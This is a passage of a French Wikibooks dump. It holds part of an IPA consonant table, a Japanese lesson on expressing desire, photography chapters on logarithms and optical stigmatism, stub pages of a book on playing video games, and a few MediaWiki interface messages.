background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[battue]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; 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background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[occlusive]] [[consonne nasale|nasale]] | style="border-right: hidden" | | m | style="border-right: hidden" | | ɱ | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | n | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | ɲ | style="border-right: hidden" | | ŋ | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |-------------------------------------------------------------------------------------------------- ! colspan="27" align="left" style="background: rgb(70%, 100%, 70%)" | ''Flux glottal (éjectives et implosives)'' |----- | align="left" | [[occlusive]] [[éjective]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[fricative]] [[éjective]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[injective]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |------------------------------------------------------------------------------------------------ ! colspan="27" align="left" style="background: rgb(70%, 100%, 70%)" | ''Flux vélaire (clic)'' |----- | align="left" | [[clic]] [[consonne centrale|central]] | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- | align="left" | [[clic]] [[consonne latérale|latéral]] | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden" | - | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden" | | | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - | style="border-right: hidden; background: rgb(50%, 50%, 50%)" | - | style="background: rgb(50%, 50%, 50%)" | - |----- ! colspan="27" align="left" style="background: rgb(70%, 100%, 70%)" | ''Articulations multiples'' |----- | colspan="5" align="left" style="padding-left: 0.5em" | [[fricative]] [[post-alvéolo-vélaire]] | colspan="7" align="left" style="padding-left: 0.5em" | w [[spirante]] [[labio-vélaire]] | colspan="7" align="left" style="padding-left: 0.5em" | [[fricative]] [[labio-vélaire]] | colspan="8" align="left" style="padding-left: 0.5em" | [[spirante]] [[labio-palatale]] |----- | colspan="27" style="background: rgb(70%, 100%, 70%); padding-left: 0.5em; padding-right: 0.5em" align="left" | <div style="float: right">[[:Image:Table_of_IPA_consonants_in_French.png|voir l'image PNG]]</div>'''Case grisée :''' articulation jugée impossible<br />'''Paire de consonnes : ''' [[consonne sourde]] (à gauche) ~ [[consonne voisée]] (à droite)<br /><div style="float: right">[http://fr.wikipedia.org/w/wiki.phtml?title=Mod%C3%A8le:Tableau_des_consonnes_de_l'API&action=edit modifier]</div>'''Symbole en italique :''' ligature d'usage courant ne faisant ''plus'' partie de l'API |} Japonais:Leçon6 5030 36838 2006-03-10T09:20:55Z 86.199.71.138 /* Introduction */ {{En travaux}} [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon5|<< Leçon 5]] | Leçon 6 | [[Japonais:Leçon7|Leçon 7 >>]] = Leçon 6 = == Introduction == On change de sujet par rapport à la leçon précédente, l'expression de l'envie (vouloir). =Pour les verbes= En japonais on n'utilise pas un verbe à part pour exprimer l'envie de faire mais un suffixe "たい"="tai" qui se place à la fin du verbe concerné après avoir remplacé le "u" de l'infinitif par un "i". Cette forme grammaticale ne s'utilise pas à la 3ème personne. par exemple : *日本にいきたい (nihon ni ikitai): je veux aller au Japon. *日本語をわかりたい (nihongo o wakaritai): je veux comprendre le japonais. *なにをのみたいか (nani o nomitai ka): tu veux boire quoi ? Sauf pour la plupart des verbes en -iru -eru où il faut remplacer le ru final par tai *たべる (taberu) たべたい (tabetai): je veux manger. *みる (miru) みたい (mitai): je veux voir == [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) == Traduire en Francais : *どこいきたい: ... *なにをたべたいか: ... Traduire en japonais (pas en rōmaji si possible) : *Je veux dormir: ... *Tu veux lire ?: ... = [[Image:Comiclogo.png|50 px|dialogue]] Dialogue = Regardons un peu le dialogue<br /> Essayons de voir un peu de vocabulaire = [[Image:Evolution-tasks.png|50 px|exercice]]れんしゅう (Exercices) = Traduire en français : Traduire en japonais : = [[image:あ_教科書体.png|50 px|Ecriture]] Écriture Japonaise = Maintenant que vous devez connaitre les hiragana apprennez les katakana et les kanji que vous voyez dans les leçons. = Fiche vocabulaire = grammaire : [[Japonais:Table des matières|^ Japonais ^]] | [[Japonais:Leçon5|<< Leçon 5]] | Leçon 6 | [[Japonais:Leçon7|Leçon 7 >>]] {{Méthode_de_Japonais}} [[Catégorie:Méthode de Japonais]] Photographie - 01 - Que fait-on avec les logarithmes ? 5033 32165 2006-02-09T10:50:57Z Jean-Jacques MILAN 114 ajout d'un modèle {{Photographie}} {{Photo_01}} == On remplace les multiplications par des additions == Rappelons-nous que le logarithme d'un produit est la somme des logarithmes des facteurs de ce produit : <math>log (a \times b) = log a + log b \,</math> Par exemple, si a = 1,5 et b = 3 log 1,5 = 0,176 log 3 = 0,477 log (1,5 &times; 3) = 0,176 + 0,477 = 0,653 = log 4,5 On ne fait pas autre chose quand on utilise une règle à calculs : les deux graduations de la règle et de la réglette sont logarithmiques. Les deux flèches rouges représentent les deux logarithmes de 1,5 et 3, on les met bout-à-bout et la pointe verte désigne le résultat : 4,5. [[Image:Multiplication 1.png|500px]] == On remplace les divisions par des soustractions == De la même façon le logarithme d'un rapport est la différence des logarithmes des deux termes de ce rapport : <math>log\,{(\frac{a}{b})} = log\,{a} - log\,{b}</math> Par exemple, si a = 3,2 et b = 2 log 3,2 = 0,505 log 2 = 0,301 log (3,2/2 = 0,505 - 0,301 = 0,204 = log 1,6 Avec la règle à calculs on aligne le 2 de la réglette et le 3,2 de la graduation de base, puis on lit le résultat, 1,6, devant le 1 de la réglette. [[Image:Division 1.png|500px]] Cette méthode se généralise facilement : <math>log\,{(\frac{a \times b}{c \times d})} = log\,{a} + log\,{b} -log\,{c} - log\,{d}</math> Si les nombres ne sont pas compris entre 1 et 10 il faut les "normaliser" : Exemple : calculer <math>X = \frac{2000 \times 0,3}{15000}</math> <math>log\, X = log\,(\frac{2000 \times 0,3}{15000}) = log\,(\frac{2 \times 1000 \times 3 \times 10^{-1}}{1,5 \times 10000}) = log (\frac{2 \times 3}{1,5} \times \frac{100}{10000})</math> <math>log\,X = log\,2 + log\,3 - log\, 1,5 - log\,100 = 0,301 + 0,477 - 0,176 - 2 = 0,602 - 2 = \bar{2},602</math> <math>log\,X = log\,4 - 2 = log\,4 - log\,100 = log\,(\frac{4}{100}) = log\,0,04</math> '''CQFD : X = 0,04''' Évidemment, il existe des moyens plus rapides pour faire ce genre de calculs, ces exemples ne sont là qu'à titre de démonstration. Cela va sans dire mais c'est encore mieux en l'écrivant. == On améliore les représentations graphiques == Un bon graphique vaut mieux qu'un long discours, dit à juste titre la sagesse populaire. En étudiant les variations d'une grandeur physique, on est souvent amené à représenter à la fois des valeurs très faibles et des valeurs très fortes de cette grandeur, sur un même graphique. Les graduations linéaires, dont les longueurs sont directement proportionnelles aux valeurs numériques, sont alors inutilisables. Prenons par exemple la fonction y = x<sup>2</sup> y = 0 quand x = 0 y = 1 quand x = 1 y = 4 quand x = 2 ... y = 100 quand x = 10 etc. {| |- | [[Image:PARABOLE.png|175px|center]] |Tracée sur du '''papier millimétré''' ordinaire, la courbe qui la représente est une parabole. Les petites valeurs sont tassées aux environs du zéro et il est impossible de les distinguer. Les grandes s'éloignent très vite dans la direction de l'axe des y. |- | [[Image:Semilog.png|175px|center]] |On peut maintenant représenter la fonction sur du '''papier semi-logarithmique'''. Cette fois l'axe des x est gradué linéairement tandis que l'axe des y est gradué en logarithmes. Il comporte ici trois modules et le début du quatrième. Le saut d'un module à l'autre correspond à une différence d'un ordre de grandeur, c'est-à-dire un facteur 10. Des feuilles de divers formats comportant 1, 2, 3, 4, 6 ou 12 modules sont disponibles dans le commerce, on choisit le nombre de modules en fonction de l'utilisation que l'on a prévue.<br> Les petites valeurs dans la direction y sont fortement dilatées (le zéro est rejeté à l'infini vers le bas), et l'on devine que les grandes sont considérablement tassées. Les diagrammes donnant les '''temps de développement''' des films en fonction de la température sont semi-logaritmiques |- | [[Image:Loglog.png|175px|center]] |Avec du '''papier « log-log »''', dont les deux échelles sont logarithmiques, la courbe devient cette fois … une droite de pente 2. Normal !<br> y = x<sup>2</sup> = x.x donc log y = log x + log x = 2 log x <br> Sur les deux axes, les petites valeurs sont dilatées, les grandes tassées et le zéro, rejeté à l'infini, est perdu. Comme nous le verrons plus loin, les '''courbes de développement des surfaces sensibles''' sont toujours tracées sur des graphiques de type "log-log", de même que les courbes qui expriment les caractéristiques de réponse à la lumière des capteurs numériques associés aux logiciels embarqués dans les appareils. |- |} {{Photo_01}} Comment jouer aux jeux vidéo ? 5034 38858 2006-03-26T10:24:55Z Guillaumito 46 restitution de la dernière modification de 84.5.232.42 <br> <center><h1>'''[[Table des matières (Comment jouer aux jeux vidéo ?)|Comment jouer aux jeux vidéo ?]]'''</h1></center> <br> <br> <center>Ce livre a pour but de montrer comment vivre une expérience vidéo ludique dans les meilleurs conditions possible. <br><br>[[Table des matières (Comment jouer aux jeux vidéo ?)|Aller à la table des matières]] <br><br>Les auteurs principaux de ce livre sont ...</center> [[Catégorie:Jeu vidéo]] Table des matières (Comment jouer aux jeux vidéo ?) 5035 21800 2005-09-21T14:08:40Z 80.9.93.209 correction <br> <center> =='''Table des matières'''== </center> <br> <big>1. [[Introduction (Comment jouer aux jeux vidéo ?)|Introduction]]</big> <br> <br> <big>2. [[Les consoles de salon (Comment jouer aux jeux vidéo ?)|Les consoles de salon]]</big> <br> 2.1. [[Les jeux d'aventure (Comment jouer aux jeux vidéo ?)|Les jeux d'aventure]] <br> 2.2. [[Les jeux multijoueurs (Comment jouer aux jeux vidéo ?)|Les jeux multijoueurs]] <br> 2.3. [[Les jeux d'horreur (Comment jouer aux jeux vidéo ?)|Les jeux d'horreur]] <br> 2.4. [[Autre (Comment jouer aux jeux vidéo ?)|Autre]] <br> <br> <big>3. [[Les consoles portables (Comment jouer aux jeux vidéo ?)|Les consoles portables]]</big> <br> 3.1. [[Les jeux d'aventure (Comment jouer aux jeux vidéo ?)|Les jeux d'aventure]] <br> 3.2. [[Les jeux multijoueurs (Comment jouer aux jeux vidéo ?)|Les jeux multijoueurs]] <br> 3.3. [[Autre (Comment jouer aux jeux vidéo ?)|Autre]] <br> <br> <big>4. [[Les ordinateurs (Comment jouer aux jeux vidéo ?)|Les ordinateurs]]</big> <br> 4.1. [[Les vieux jeux (Comment jouer aux jeux vidéo ?)|Les vieux jeux]] <br> 4.2. [[Les jeux de tir (Comment jouer aux jeux vidéo ?)|Les jeux de tir]] <br> 4.3. [[Les jeux multijoueurs (Comment jouer aux jeux vidéo ?)|Les jeux multijoueurs]] <br> <br> <big>5. [[Conclusion (Comment jouer aux jeux vidéo ?)|Conclusion]]</big> Photographie - Chapitre 07 - Systèmes optiques simples, lentilles 5036 44432 2006-06-12T14:21:43Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_07}} Photographie - 07 - Stigmatisme, objets et images 5037 44435 2006-06-12T14:23:51Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_07}} == Définitions == Tout système optique comporte une face d'entrée où pénètre un '''faisceau incident''' et une face de sortie d'où sort un '''faisceau émergent'''. Un système optique est dit '''stigmatique pour deux points A et A'''' si, recevant un faisceau lumineux conique de sommet A, il le transforme en un autre faisceau conique de sommet A'. A et A' sont appelés '''points réciproques''', ou encore '''points conjugués'''. Le sommet A du faisceau entrant est un '''point objet''', le sommet A' du faisceau sortant est un '''point image'''. Si l'on change le sens de parcours de la lumière, les deux faisceaux entrant et sortant sont conservés mais parcourus en sens inverse. De fait, chacun peut facilement constater qu'il est possible, mais sans doute pas très adroit, d'observer une scène éloignée "par le petit bout de la lorgnette". '''Remarque''' : dans certains cas, notamment en astronomie, la notion de stigmatisme ne s'applique que dans un sens. Les étoiles sont des objets gigantesques mais si éloignés que quelle que soit la puissance de l'instrument avec lequel on les observe, elles apparaissent toujours sous la forme d'un point de diamètre apparent non mesurable. Si l'image d'une étoile se forme, à la sortie d'un instrument, en un point A', on dira qu'il y a stigmatisme, mais il serait absurde de penser que la lumière issue de A' pourrait converger en un point A bien défini à quelques dizaines ou milliers d'années-lumière. == Stigmatisme parfait, stigmatisme approché == [[Image:Miroir plan.png|250px|right]] Le stigmatisme est évidemment l'une des propriétés les plus importantes des systèmes optiques. Un instrument idéal, parfaitement stigmatique pour tous les points d'une certaine région de l'espace, donnerait une image parfaitement nette de tous les objets situés dans cette région. Hélas, il est impossible de réaliser un tel instrument, sauf si l'on n'utilise que des miroirs plans. Le miroir plan est en effet le seul système optique parfaitement stigmatique pour tous les points de l'espace, puisque l'image et l'objet sont symétriques. En pratique, l'imperfection des systèmes récepteurs de lumière (œil, surface sensible photographique, capteur électronique, ...) permet de se contenter d'un stigmatisme approché. En effet, à partir d'un certain niveau de qualité, les défauts des images ne sont plus perçus et tout se passe comme s'ils n'existaient pas. Nous y reviendrons au chapitre 14 consacré à la netteté des images photographiques. == Objets et images réels et virtuels == La question des objets et des images réels et virtuels est l'une des premières difficultés sérieuses pour les débutants en optique. === Cas d'un seul système optique === {| border="1" cellpadding="5" cellspacing="0" |- |'''OR'''<br>'''IR''' |[[Image:Réel-réel.png|250px|center]] |Les rayons incidents proviennent tous d'un point A situé devant la face d'entrée du système optique, ce point est un '''objet réel'''. Les rayons émergents passent tous par un point A' situé derrière la face de sortie du système optique, formant une '''image réelle'''. |- |colspan="3"|Les surfaces sensibles photographiques (films ou capteurs) et la rétine de l'œil ont besoin de recevoir des '''images réelles''' où se concentre la lumière issue des points-objets. Le système optique est alors un objectif ou l'ensemble des parties réfringentes de l'œil. |- |'''OR'''<br>'''IV''' |[[Image:Réel-virtuel.png|250px|center]] |Nous avons toujours un '''objet réel''' A mais ce sont les prolongements des rayons émergents qui passent par le point A' situé devant la face de sortie du système, formant alors une '''image virtuelle'''. |- |colspan="3"|Cette configuration est celle de tous les instruments d'optique destinés à l'observation visuelle : loupes, lunettes, télescopes, microscopes, etc. L'image virtuelle est souvent rejetée à l'infini. |- |'''OV'''<br>'''IR''' |[[Image:Virtuel-réel.png|250px|center]] |Ce sont les prolongements des rayons incidents qui passent par un point A situé derrière la face d'entrée du système, ce point constitue un '''objet virtuel'''. Les rayons du faisceau émergent convergent en A' derrière la face de sortie, formant une '''image réelle'''. |- |colspan="3"|Le faisceau entrant convergent provient nécessairement d'un autre système optique. |- |'''OV'''<br>'''IV''' |[[Image:Virtuel-virtuel.png|250px|center]] | Quatrième et dernière possibilité, un '''objet virtuel''' et une '''image virtuelle'''. |- |colspan="3"|Même remarque que dans le cas précédent. |- |colspan="2"|[[Image:Objets et images.png|250px|center]] | Il faut se rappeler la règle simple illustrée ci-contre : * Si les rayons entrants ou leurs prolongements passent par un point situé devant la première surface de verre du système optique, alors l'objet est réel, sinon il est virtuel. * Si les rayons sortants ou leurs prolongements passent par un point situé derrière la dernière surface de verre du système optique, alors l'image est réelle, sinon elle est virtuelle.<br><br> Autrement dit, la face d'entrée d'un système optique sépare l''''espace objet''' en deux parties, réelle du côté où arrive la lumière, virtuelle de l'autre, la face de sortie sépare l''''espace image''' en deux parties, réelle du côté où sort la lumière, virtuelle de l'autre. |- |colspan="3"| Lorsque les rayons d'un faisceau sont parallèles, le sens de parcours de la lumière et l'usage normal de l'instrument permettent en général de lever très vite les quelques ambiguïtés qui pourraient apparaître. Le cas des systèmes ''afocaux'', qui transforment un faisceau de rayons parallèles en un autre faisceau parallèle différemment incliné, sera examiné plus loin. |- |} === Cas d'une succession de systèmes optiques === {| border="1" cellpadding="5" cellspacing="0" |- |colspan="2"|'''Attention !''' Pour éviter toute confusion lorsque la lumière passe d'un système optique à un autre, l'objet et l'image doivent être définis systématiquement pour '''<u>CHAQUE</u>''' système. * l''''image''' donnée par un système devient '''toujours''' un '''objet''' pour le suivant, * le caractère '''réel ou virtuel''' peut être '''conservé ou non''', selon les cas. |- |[[Image:Deux systèmes 1.png|350px|center]] |Ici, l'image '''réelle''' A' fournie par le premier système optique S devient un objet '''réel''' pour le second système S'. |- |colspan="2"| * Un projecteur de cinéma ou de diapositives S forme l'image réelle du film sur un écran de projection. Celui-ci, en diffusant la lumière qu'il reçoit, devient un objet réel pour l'œil S' du spectateur. C'est une situation normale. * L'œil S' placé dans cette position derrière une loupe ou une lunette déréglée S observe, dans un champ très réduit, un objet retourné et beaucoup plus petit que celui qui est placé « en chair et en os » devant l'instrument. Ce n'est évidemment pas une façon très futée d'utiliser le matériel ...<br> |- |[[Image:Deux systèmes 2.png|280px|center]] | L'image '''virtuelle''' A' fournie par le premier système optique S est encore un objet '''réel''' pour le second système S'. |- |colspan="2"| * S'il reçoit un faisceau lumineux convergent, l'œil normal ne peut pas l'utiliser car ses capacités d'accomodation ne sont pas suffisantes. Pour voir net, il ne doit recevoir que des faisceaux divergents ou parallèles comme ceux qui lui arrivent directement des objets ; quand la lumière lui parvient à travers un instrument d'optique, celui-ci doit produire une image virtuelle située à une distance finie ou mieux, à l'infini, pour éviter la fatigue oculaire. * Certains photographes pratiquent la '''digiscopie''' en fixant un appareil photo numérique à la place de l'œil, derrière une lunette '''munie de son oculaire'''. Cette méthode permet d'obtenir assez facilement d'énormes rapports de grandissement, il faut toutefois que l'appareil et surtout la lunette soient d'excellente qualité. |} '''Remarque :''' Dans le langage courant, ou pour aller plus vite, on utilise souvent des expressions impropres comme ''l'œil examine l'image projetée sur un écran''. Généralement ces expressions ne prêtent guère à confusion mais elles doivent cependant être proscrites lors de l'étude approfondie des systèmes optiques, puisqu'en toute rigueur la lumière qui entre dans un système provient, par définition, d'un objet. == Où l'on retrouve le principe de Fermat == Tout ceci ne nous donne évidemment pas les conditions pour que l'image d'un point soit un point, ou '''presque''' un point. Nous allons pour cela prendre un chemin détourné, la meilleure façon d'aller d'un endroit à un autre n'est pas toujours la ligne droite, y compris pour la pensée. Voici d'abord un jardinier qui veut créer un massif elliptique de grand rayon a et de petit rayon b, ou de longueur 2a et de largeur 2b. Sur le grand diamètre, il plantera deux piquets en F et F' à une distance du centre qui vaudra : <math>f = OF = OF' = \sqrt{a^2-b^2}</math> [[Image:Ellipse jjm.png|250px|center]] Par exemple, si a = 7 m et b = 4 m, alors il trouvera f = 5,74 m. Il se munira ensuite d'une corde de longueur 2a dont il fixera une extrémité en F et l'autre en F'. Avec un bâton, tout en maintenant la corde tendue, il tracera sur le sol une ellipse, courbe bien connue des mathématiciens et des physiciens car elle intervient dans de très nombreux domaines. Tout point M de cette ellipse est tel que la somme de ses distances aux deux points fixes F et F', appelés foyers, est constante : MF + MF' = 2a Un cercle vu "en perspective", en biais, nous apparaît sous la forme d'une ellipse. Inversement, le dessin d'une ellipse vu sous un angle adéquat prend la forme d'un cercle (un vieux truc de dessinateur pour vérifier qu'une ellipse tracée à main levée n'est pas un « patatoïde »). Voici maintenant un chercheur de haut niveau spécialiste des matériaux réfractaires. Notre homme étudie une céramique révolutionnaire ; il en possède un échantillon gros comme un grain de blé, échantillon qu'il veut porter à 3 000 °C en un centième de seconde, tout en évitant de le polluer. Les méthodes classiques, chauffer le produit par une flamme ou dans un creuset, ne sont ni assez brutales ni assez propres. On réalise ce choc thermique dans un four à image en forme d'ellipsoïde de révolution dont la surface intérieure est traitée pour en faire un miroir. À l'un des foyers, on fait éclater un arc électrique, à l'autre, se trouve l'échantillon à tester qui reçoit aussitôt le rayonnement. [[Image:Four à images.png|250px|center]] Le principe de FERMAT nous dit que la lumière qui va d'un foyer à l'autre en se réfléchissant sur l'ellipsoïde emprunte un chemin dont le temps de parcours est minimal ou maximal. Or, tous les trajets possibles de type FMF' ont exactement la même longueur et sont effectués dans le même milieu, leurs temps de parcours par la lumière sont identiques et c'est pourquoi tous les rayons émis en F convergent en F' ! Ce miroir ellipsoïdal est donc '''rigoureusement stigmatique pour ses deux foyers'''. Pour tous les autres points, au mieux, le stigmatisme ne peut être qu'approché. Pour une sphère, les deux foyers sont confondus au centre, lequel est donc rigoureusement stigmatique avec ... lui-même. On trouve au Palais de la Découverte à Paris une sphère réfléchissante creuse dans l'ouverture de laquelle les visiteurs peuvent passer la tête. Lorsque celle-ci est au centre, les rayons infrarouges qu'elle émet lui reviennent et il fait alors très, très chaud ... La recherche du stigmatisme n'est rien d'autre que la recherche de trajets optiques de même durée pour aller d'un point à un autre ... == Conditions de Gauss == Dans le cas général, l'image d'un point est une figure à trois dimensions plus ou moins compliquée. On peut tout de même étudier les systèmes optiques de façon relativement simple à condition de faire quelques hypothèses simplificatrices : * on ne considère que les points appartenant à l'axe optique ou très proches de lui, * on limite l''''ouverture''' du système de manière à ne conserver que des rayons utiles presque parallèles à l'axe (rayons dit ''paraxiaux''), * on limite le '''champ''' du système, c'est-à-dire la portion de l'espace où doit se trouver un objet non plan pour que l'on puisse en obtenir une image utilisable, * l'épaisseur des lentilles est petite devant les rayons des dioptres, de façon que ces derniers soient rencontrés presque perpendiculairement par la lumière. Dans de telles conditions, l'image d'un point est un volume limité que l'on suppose assez petit pour que son étendue ne soit pas discernable dans les conditions normales de l'observation. On a réalisé alors un '''stigmatisme approché''' et l'on dit que le système étudié travaille dans l''''approximation de Gauss''' ou dans les '''conditions de Gauss'''. Suite : '''[[Photographie - 07 - Le dioptre plan|Le dioptre plan]]''' Introduction (Comment jouer aux jeux vidéo ?) 5038 36155 2006-03-05T20:40:58Z 172.210.87.57 <br> <h1>'''1. Introduction'''</h1> <br> Il existe différentes sortes de jeux vidéo, qui ont pour but de créer des réactions différentes chez le joueur. Pour être réceptif aux jeux il convient d'y jouer dans de bonnes conditions. Le but de ce livre est de présenter ces conditions pour les différents types de jeux et de consoles (portables ou de salon). Cela peut paraître simple mais il y a beaucoups d'éléments à prendre en compte: *le temps: disposer de suffisamment de temps devant soi pour ne pas être arrêté pendant une phase importante du jeu, le jour ou la nuit. *les conditions atmosphériques (surtout pour les consoles portables): la température, pluie, soleil, vent. *le lieu: chez soi, dans la rue, au travail, à l'école, dans la nature. *les perturbations extérieures éventuelles: bruits, personnes, animaux. *l'état physique: la nourriture, la boisson, la fatigue. Dans les chapitres suivants, les conditions idéales pour chaque jeu seront décrites. [[Table_des_matières_(Comment_jouer_aux_jeux_vidéo_%3F)|Retour a la table des matieres]] MediaWiki:Expiringblock 5040 sysop 46764 2006-07-01T18:48:49Z MediaWiki default expire le $1 MediaWiki:Infiniteblock 5041 sysop 46832 2006-07-01T18:48:49Z MediaWiki default permanent MediaWiki:Ipblocklistempty 5042 sysop 46837 2006-07-01T18:48:49Z MediaWiki default La liste de blocage est vide. MediaWiki:Linkprefix 5043 sysop 19522 2005-08-19T23:11:35Z MediaWiki default /^(.*?)([a-zA-Z\x80-\xff]+)$/sD MediaWiki:Mostlinked 5044 sysop 46874 2006-07-01T18:48:49Z MediaWiki default Plus de liens vers les pages MediaWiki:Namespacesall 5045 sysop 46883 2006-07-01T18:48:49Z MediaWiki default tous MediaWiki:Restorelink1 5046 sysop 19559 2005-08-19T23:11:36Z MediaWiki default one deleted edit MediaWiki:Unit-pixel 5047 sysop 19581 2005-08-19T23:11:37Z MediaWiki default px Les consoles de salon (Comment jouer aux jeux vidéo ?) 5050 24085 2005-10-23T17:03:22Z 81.57.178.60 <br> <h1>'''2. Les consoles de salon'''</h1> <br> Les consoles dites "de salon" sont les consoles qui ne sont pas faites pour être déplacées. Comme on y joue à l'intérieur, les conditions atmosphériques n'ont que peu d'importance, il faut juste veiller à avoir une température acceptable, l'idéal étant 18 degrés en été et 20 en hiver (cela peut varier selon les personnes). La pièce dans laquelle on joue doit être équipée de bons sièges, canapés ou lit permettant une assise ne gênant pas le joueur même au bout de plusieurs heures. Il faut avoir une porte pour pouvoir être séparé du reste de l'habitat (bruit, personne ...), des rideaux ou des volets pour se protéger du soleil (reflet sur l'écran, éblouissement...). Le reste des éléments varie selon le type de jeu. [[Table_des_matières_(Comment_jouer_aux_jeux_vidéo_%3F)|Retour a la table des matières]] Photographie - 07 - Généralités 5051 44436 2006-06-12T14:24:22Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_07}} == Définitions == Un '''système optique''' permet d'obtenir, à partir d'un '''objet''' lumineux, une '''image''' destinée à un récepteur qui peut être l'œil, une pellicule photographique, un capteur électronique, ... Sauf exception, l'image sera autant que possible '''semblable''' à l'objet, plus exactement à la vision que l'on aurait de l'objet depuis l'entrée du système. Cette image pourra être examinée directement derrière un '''instrument d'optique''' (loupe, microscope, lunette, télescope ...) ou indirectement, sur un écran. Considérons l'objet comme formé d'une infinité de points lumineux juxtaposés émettant chacun un faisceau de rayons lumineux divergents. S'il était parfait, le système optique ferait correspondre à chacun de ces points objets un point image par où passeraient les rayons sortants ou leurs prolongements. Le système optique va donc modifier de façon organisée la trajectoire des rayons lumineux. Les conditions de cette convergence, ainsi que les divers types d'objets et d'images, seront examinés dans la page suivante. == Systèmes centrés == Un '''système centré''' est un ensemble de dioptres et de miroirs possédant un axe de révolution encore appelé '''axe optique''' ou encore, parfois, '''axe principal'''. Les surfaces les plus utilisées sont des plans et surtout des sphères, ou plutôt des calottes sphériques qui, malgré leurs inconvénients, sont largement utilisées en raison de leur très faible coût de fabrication. Naturellement, les centres de toutes ces surfaces sphériques sont situés sur l'axe optique. Certains systèmes centrés utilisent aussi d'autres surfaces de révolution, par exemple des miroirs paraboliques. Le recours à de telles surfaces, dites ''asphériques'', est fréquent dans la construction des télescopes ou celle des condenseurs de projecteurs dont certains éléments ne sont pas taillés mais moulés. On rencontre encore des surfaces asphériques dans un petit nombre d'objectifs photographiques de haute qualité ou dans les lentilles en plastique moulé des appareils de bas de gamme. Les systèmes centrés ne contenant aucune surface réfléchissante sont dits '''systèmes dioptriques''', ceux qui contiennent des miroirs sont dits '''systèmes catadioptriques'''. Suite : '''[[Photographie - 07 - Stigmatisme, objets et images|Stigmatisme, objets et images]]''' Photographie - 07 - Lentilles 5055 44434 2006-06-12T14:23:17Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_07}} En optique, on appelle '''lentille''' une pièce de matériau transparent (le plus souvent du verre) comportant deux dioptres de même axe de révolution et destinée à faire converger ou diverger les rayons lumineux qui la traversent. Le point de rencontre de l'axe optique avec l'un des dioptres est appelé '''sommet''' de ce dioptre. == Historique == L'invention n'est pas récente. Aristophane mentionne dans sa pièce ''Les Nuées'' (-423) l'existence de lentilles convergentes capables de concentrer les rayons solaires pour produire du feu. Sénèque le Jeune (-3 - +65) décrit l'effet grossissant d'un globe de verre rempli d'eau. Pline l'Ancien (+23 - +79) atteste aussi l'usage de lentilles pour faire du feu dans l'empire romain et 